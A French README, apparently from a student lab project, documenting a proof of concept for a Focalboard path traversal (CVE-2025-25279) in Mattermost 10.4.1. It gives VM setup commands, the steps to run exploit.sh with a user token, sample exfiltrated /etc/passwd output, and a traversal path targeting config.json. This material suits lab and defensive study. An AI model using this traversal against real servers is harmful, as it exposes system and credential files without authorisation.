## https://sploitus.com/exploit?id=1881F5C8-F5E2-56CB-89D8-19EF832AEA63
# 🔥 CVE-2025-25279 — Mattermost 10.4.1
## 📤 Path Traversal dans Focalboard permettant l’exfiltration de fichiers
## 🌟 Présentation
Cette preuve de concept démontre l’exploitation de la vulnérabilité **CVE-2025-25279** affectant **Mattermost 10.4.1**.
Une faille dans **Focalboard** (le module de gestion de tableaux) permet une **lecture arbitraire de fichiers** via un **path traversal dans les attachments**.
L’exploit permet d’exfiltrer :
- `/etc/passwd`
- `/etc/group`
- ou des fichiers sensibles de Mattermost, par exemple :
`opt/mattermost/config/config.json`
L’attaque fonctionne **uniquement avec un compte utilisateur authentifié** dans les scénarios vulnérables.
---
## 🗂️ Organisation des répertoires
- **📁 target** : répertoire de création de la box cible
- **📁 live** : répertoire de création de VM(s) cible(s) et de démonstration de l'exploit
- **📁 src** : éventuel code source auxiliaire
- **📁 refs** : répertoire contenant les articles et la bibliographie
- **📁 docs** : documents associés produits lors du projet, y compris les enregistrements vidéo
---
## 🔧 Pré-requis
- **Vagrant**
- **VirtualBox**
- **Jeu de fichiers du projet (target + live)**
- **Un compte Mattermost (PAT = Personal Access Token)**
- Linux/Mac/Windows avec Bash
---
## Avant de déployer la VM
D'abord allez dans le repertoire target et faire:
```bash
cd target
make mattermost.box
```
Assurez vous d'avoir la box mattermost-poc sinon la VM ne marche pas:
```bash
cd cve-2025-25279-mattermost
vagrant box add mattermost-poc target/mattermost.box
```
## 1. Déploiement de la machine vulnérable
#### Lancer la VM
```bash
cd live/vm1
vagrant up
```
Se connecter à la VM
```bash
vagrant ssh
```
#### créer un utilisateur dans l'interface web :
ouvrir: http://localhost:8065
#### créer un token dans UI (interface utilisateur):
**Profil --> Security --> Personal Access Tokens**
### 2. Installation de l’exploit
Depuis la machine hôte :
```bash
cd live/share
sudo apt-get update -y
sudo apt-get install -y unzip
chmod +x exploit.sh
```
### 3. Exécuter l'exploit
```bash
./exploit.sh
```
On vous demandera :
```bash
PAT (Personal Access Token) :
```
👉 Entrez un PAT valide d’un utilisateur Mattermost.
📸 Exemple de sortie (exfiltration de /etc/passwd)
```bash
===== CONTENU (début) =====
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
mattermost:x:999:996::/opt/mattermost:/bin/sh
```
**Fichier ciblé : config.json**
Pour viser un fichier Mattermost sensible :
Modifier en haut du script exploit.sh :
```bash
TARGET_SUFFIX="opt/mattermost/config/config.json"
TRAVERSAL_PATH='../../../../../../../opt/mattermost/config/config.json'
L’exploit affichera alors le contenu du fichier config.json.
```
## ✒️ Auteurs
🟢 **MAHAMMAD MOUSSE Abokor**
🔵 **PARNET cyril**
🎬 **Démonstration vidéo**
👉 Une démonstration complète en vidéo se trouve dans :
live/Démonstration/video-poc-cve-2025-25279.mp4
🧩 Notes
Ce PoC est strictement destiné aux environnements d'apprentissage.
Ne jamais utiliser hors cadre pédagogique ou sans autorisation.